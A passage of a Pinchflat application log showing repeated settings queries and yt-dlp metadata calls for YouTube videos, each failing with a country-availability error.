Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:46:52.210 [debug] QUERY OK source="settings" db=0.1ms idle=975.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:52.210 [debug] QUERY OK source="settings" db=0.0ms idle=332.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:52.210 [debug] Running yt-dlp command for action: get_media_attributes 16:46:52.211 [debug] QUERY OK source="settings" db=0.0ms idle=333.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:52.212 [debug] QUERY OK source="settings" db=0.0ms idle=333.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:52.212 [debug] QUERY OK source="settings" db=0.0ms idle=333.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:52.212 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/6e/bb/6ebb570aa7ce3b4b50996043154eaab4bd95b87fc2e13f47cd334a337dea4d26.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:46:53.577 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/6e/bb/6ebb570aa7ce3b4b50996043154eaab4bd95b87fc2e13f47cd334a337dea4d26.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:46:53.578 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:46:53.578 [debug] QUERY OK source="settings" db=0.1ms idle=1366.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:53.578 [debug] QUERY OK source="settings" db=0.0ms idle=1366.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:53.578 [debug] Running yt-dlp command for action: get_media_attributes 16:46:53.579 [debug] QUERY OK source="settings" db=0.0ms idle=1367.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:53.580 [debug] QUERY OK source="settings" db=0.0ms idle=1344.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:53.580 [debug] QUERY OK source="settings" db=0.0ms idle=343.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:53.580 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/74/1d/741da5b2fd43e8c058cbbcf37b15b9e5537101728fd604b4248d498790062450.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:46:54.846 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/74/1d/741da5b2fd43e8c058cbbcf37b15b9e5537101728fd604b4248d498790062450.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:46:54.846 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:46:54.846 [debug] QUERY OK source="settings" db=0.1ms idle=1268.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:54.847 [debug] QUERY OK source="settings" db=0.0ms idle=1266.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:54.847 [debug] Running yt-dlp command for action: get_media_attributes 16:46:54.862 [debug] QUERY OK source="settings" db=0.0ms idle=1282.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:54.862 [debug] QUERY OK source="settings" db=0.0ms idle=1282.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:54.862 [debug] QUERY OK source="settings" db=0.0ms idle=624.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:54.862 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4a/d2/4ad2493d5e12bee9bb714b58c386876b5224dfc3e33ac451309b19a08dd53dfc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:46:56.141 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4a/d2/4ad2493d5e12bee9bb714b58c386876b5224dfc3e33ac451309b19a08dd53dfc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:46:56.141 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:46:56.141 [debug] QUERY OK source="settings" db=0.1ms idle=901.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:56.141 [debug] QUERY OK source="settings" db=0.0ms idle=263.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:56.141 [debug] Running yt-dlp command for action: get_media_attributes 16:46:56.161 [debug] QUERY OK source="settings" db=0.0ms idle=282.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:56.161 [debug] QUERY OK source="settings" db=0.0ms idle=282.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:56.161 [debug] QUERY OK source="settings" db=0.0ms idle=282.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:56.161 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/80/24/8024e30bab8014675a412a2a8def5211c9c113fab3b15d64598bf6ab4387f627.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:46:57.553 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j 